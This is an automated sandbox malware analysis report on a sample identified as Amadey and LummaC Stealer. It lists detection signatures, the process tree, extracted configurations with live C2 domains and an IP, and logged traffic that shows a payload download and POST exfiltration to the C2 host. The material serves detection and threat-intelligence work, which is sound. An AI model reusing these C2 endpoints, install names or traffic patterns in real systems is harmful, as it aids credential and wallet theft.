Edit tour

Windows Analysis Report
random.exe

Overview

General Information

Sample name:	random.exe
Analysis ID:	1642341
MD5:	3c4544122beee2d238e75829fb2c14ab
SHA1:	d709083e8f2bbd1bc26c2004472d26b80a5b6ce9
SHA256:	752a796fd794a3de6d88a8da68c09c6262b91eae6ad4a3fe805022037b957c83
Tags:	exeopendiruser-skocherhan
Infos:

Detection

Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to start a terminal service

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

random.exe (PID: 7012 cmdline: "C:\Users\user\Desktop\random.exe" MD5: 3C4544122BEEE2D238E75829FB2C14AB)

LOVY9V33XUNTEHY6.exe (PID: 2724 cmdline: "C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe" MD5: 66F70F15EAC0CFF85F402A04F64865CE)

rapes.exe (PID: 6316 cmdline: "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: 66F70F15EAC0CFF85F402A04F64865CE)

rapes.exe (PID: 3720 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: 66F70F15EAC0CFF85F402A04F64865CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{
  "C2 url": [
    "loadoutle.life/kpLsOAm",
    "caliberc.today/KowpqlL",
    "pistolpra.bet/dABYyaz",
    "weaponwo.life/NghsayA",
    "armamenti.world/dsIOQn",
    "selfdefens.bet/dASBUz",
    "targett.top/dsANGt",
    "armoryarch.shop/GiqwY",
    "blackeblast.run/giAbst"
  ],
  "Build id": "35d8e3394de1ffd36ecaa512782250b4d3ef63474f"
}

Threatname: Amadey

{
  "C2 url": "176.113.115.6/Ni9kiput/index.php",
  "Version": "5.21",
  "Install Folder": "bb556cff4a",
  "Install File": "rapes.exe"
}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000003.00000002.1154084716.0000000000BF1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000005.00000002.1167203467.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.random.exe.ea0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
5.2.rapes.exe.e20000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.LOVY9V33XUNTEHY6.exe.bf0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
4.2.rapes.exe.e20000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-19T01:36:34.326799+0100	2028371	3	Unknown Traffic	192.168.2.8	49682	188.114.97.3	443	TCP
2025-03-19T01:36:35.625253+0100	2028371	3	Unknown Traffic	192.168.2.8	49683	188.114.97.3	443	TCP
2025-03-19T01:36:37.002392+0100	2028371	3	Unknown Traffic	192.168.2.8	49684	188.114.97.3	443	TCP
2025-03-19T01:36:38.207560+0100	2028371	3	Unknown Traffic	192.168.2.8	49685	188.114.97.3	443	TCP
2025-03-19T01:36:39.792569+0100	2028371	3	Unknown Traffic	192.168.2.8	49686	188.114.97.3	443	TCP
2025-03-19T01:36:41.285838+0100	2028371	3	Unknown Traffic	192.168.2.8	49687	188.114.97.3	443	TCP
2025-03-19T01:36:43.384539+0100	2028371	3	Unknown Traffic	192.168.2.8	49688	188.114.97.3	443	TCP

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 19 Mar 2025 00:36:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 18 Mar 2025 23:42:28 GMTETag: "20c400-630a67529c872"Accept-Ranges: bytesContent-Length: 2147328Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d1 b6 42 53 95 d7 2c 00 95 d7 2c 00 95 d7 2c 00 81 bc 2f 01 98 d7 2c 00 81 bc 29 01 2f d7 2c 00 c7 a2 28 01 87 d7 2c 00 c7 a2 2f 01 83 d7 2c 00 c7 a2 29 01 cc d7 2c 00 a4 8b d1 00 97 d7 2c 00 81 bc 28 01 82 d7 2c 00 81 bc 2d 01 86 d7 2c 00 95 d7 2d 00 67 d7 2c 00 59 a2 25 01 94 d7 2c 00 59 a2 d3 00 94 d7 2c 00 59 a2 2e 01 94 d7 2c 00 52 69 63 68 95 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 23 01 bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 c0 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 c8 4e 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 e0 06 00 6b 00 00 00 00 d0 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 34 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 33 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 c0 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 d0 06 00 00 02 00 00 00 d0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 d2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 f0 06 00 00 02 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 6a 76 65 6e 68 63 00 d0 19 00 00 70 31 00 00 c8 19 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6e 70 76 63 63 74 66 00 10 00 00 00 40 4b 00 00 04 00 00 00 9e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 a2 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7

Source: Joe Sandbox View	IP Address: 176.113.115.7 176.113.115.7
Source: Joe Sandbox View	IP Address: 176.113.115.6 176.113.115.6

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49685 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49684 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49683 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49687 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49686 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49682 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49688 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 51Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dh8dG2nn4h1r4GbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 14506Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4hlbCObr82OWdUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 15042Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dfvKvdUvUCl369jWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20226Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C58MEf5bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2467Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SY2Upf5WjGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 569884Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 89Host: loadoutle.life

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7

Source: global traffic

HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7

Source: global traffic

DNS traffic detected: DNS query: loadoutle.life

Source: unknown

HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 51Host: loadoutle.life

Source: random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.11
Source: random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058875448.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/
Source: random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7//
Source: random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7//J
Source: random.exe, 00000000.00000003.1056612349.0000000001805000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017317907.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/ran2y
Source: random.exe, 00000000.00000002.1058708309.0000000001817000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: random.exe, 00000000.00000002.1058603005.00000000017A4000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055926565.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7:80/mine/random.exeoft
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: random.exe, 00000000.00000003.1007200494.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/
Source: random.exe, 00000000.00000003.995887560.0000000001827000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007200494.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/A
Source: random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/J
Source: random.exe, 00000000.00000003.928071515.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/_)
Source: random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/d
Source: random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.927968991.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAm
Source: random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAmr;
Source: random.exe, 00000000.00000003.1017784602.000000000181D000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007345023.0000000001817000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007637717.000000000181C000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058875448.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/kpLsOAmuw
Source: random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life/x
Source: random.exe, 00000000.00000003.928071515.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life:443/kpLsOAm
Source: random.exe, 00000000.00000003.1007454160.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://loadoutle.life:443/kpLsOAmicrosoft
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: random.exe, 00000000.00000003.955526438.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
